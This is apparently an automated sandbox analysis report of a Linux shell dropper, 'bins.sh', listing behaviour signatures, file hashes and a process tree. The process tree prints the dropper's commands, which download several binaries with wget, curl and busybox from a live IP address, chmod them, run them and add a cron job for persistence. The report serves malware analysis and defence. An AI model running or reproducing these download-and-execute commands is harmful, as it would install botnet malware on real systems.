Analysis

  • max time kernel
    149s
  • max time network
    175s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22/11/2024, 10:57

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241122-m19jaavpgn
  • SHA256 750e49fa5aae0d1a13d2b9432aa0c6d6e687f8d185b19981285c18b69d397c94
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2024) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:650
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:652
        • /usr/bin/wget
          wget http://87.120.125.191/bins/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • Writes file to tmp directory
          PID:654
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:672
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • Writes file to tmp directory
          PID:680
        • /bin/chmod
          chmod 777 67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • File and Directory Permissions Modification
          PID:681
        • /tmp/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          ./67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • Executes dropped EXE
          PID:682
        • /bin/rm
          rm 67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
            PID:684
          • /usr/bin/wget
            wget http://87.120.125.191/bins/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • Writes file to tmp directory
            PID:685
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:688
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • Writes file to tmp directory
            PID:696
          • /bin/chmod
            chmod 777 027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • File and Directory Permissions Modification
            PID:700
          • /tmp/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            ./027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • Executes dropped EXE
            PID:701
          • /bin/rm
            rm 027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
              PID:703
            • /usr/bin/wget
              wget http://87.120.125.191/bins/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • Writes file to tmp directory
              PID:704
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:711
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • Writes file to tmp directory
              PID:718
            • /bin/chmod
              chmod 777 csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • File and Directory Permissions Modification
              PID:722
            • /tmp/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              ./csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • Executes dropped EXE
              PID:723
            • /bin/rm
              rm csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
                PID:726
              • /usr/bin/wget
                wget http://87.120.125.191/bins/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                2⤵
                • Writes file to tmp directory
                PID:728
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:739
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                2⤵
                • Writes file to tmp directory
                PID:746
              • /bin/chmod
                chmod 777 cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                2⤵
                • File and Directory Permissions Modification
                PID:747
              • /tmp/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                ./cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                2⤵
                • Executes dropped EXE
                PID:749
              • /bin/rm
                rm cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                2⤵
                  PID:751
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  2⤵
                  • Writes file to tmp directory
                  PID:753
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:754
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  2⤵
                  • Writes file to tmp directory
                  PID:761
                • /bin/chmod
                  chmod 777 Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  2⤵
                  • File and Directory Permissions Modification
                  PID:764
                • /tmp/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  ./Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  2⤵
                  • Executes dropped EXE
                  PID:766
                • /bin/rm
                  rm Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  2⤵
                    PID:769
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                    2⤵
                    • Writes file to tmp directory
                    PID:770
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:777
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                    2⤵
                    • Writes file to tmp directory
                    PID:786
                  • /bin/chmod
                    chmod 777 Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                    2⤵
                    • File and Directory Permissions Modification
                    PID:789
                  • /tmp/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                    ./Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:790
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:793
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:794
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:796
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:797
                        • /bin/rm
                          rm Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                          2⤵
                            PID:801
                          • /usr/bin/wget
                            wget http://87.120.125.191/bins/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:804

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              027nbtGZfM9rgdpwbdbveNDux3k93n8KT8

                              • Path /tmp/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
                              • Size 98KB
                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                              • MD5 SHA1 SHA512 SSDEEP

                              67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa

                              • Path /tmp/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
                              • Size 112KB
                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                              • MD5 SHA1 SHA512 SSDEEP

                              Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6

                              • Path /tmp/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                              • Size 122KB
                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                              • MD5 SHA1 SHA512 SSDEEP

                              Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q

                              • Path /tmp/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                              • Size 119KB
                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                              • MD5 SHA1 SHA512 SSDEEP

                              UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT

                              • Path /tmp/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                              • Size 39KB
                              • SHA256 879f458a41c9aed969bad907b2409191703a345ab94d3a5d2af1d9f3d66d2391
                              • MD5 SHA1 SHA512 SSDEEP

                              cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT

                              • Path /tmp/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                              • Size 111KB
                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                              • MD5 SHA1 SHA512 SSDEEP

                              csnbouXopQvCLckjL26Q0dKKxmhCn9GviA

                              • Path /tmp/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
                              • Size 151KB
                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                              • MD5 SHA1 SHA512 SSDEEP

                              tmp.Mffp9Y

                              • Path /var/spool/cron/crontabs/tmp.Mffp9Y
                              • Size 210B
                              • SHA256 8fe3598c7ba4b4168b6e8939654ca40833715043c393c67ce9a1a7641f55f964
                              • MD5 SHA1 SHA512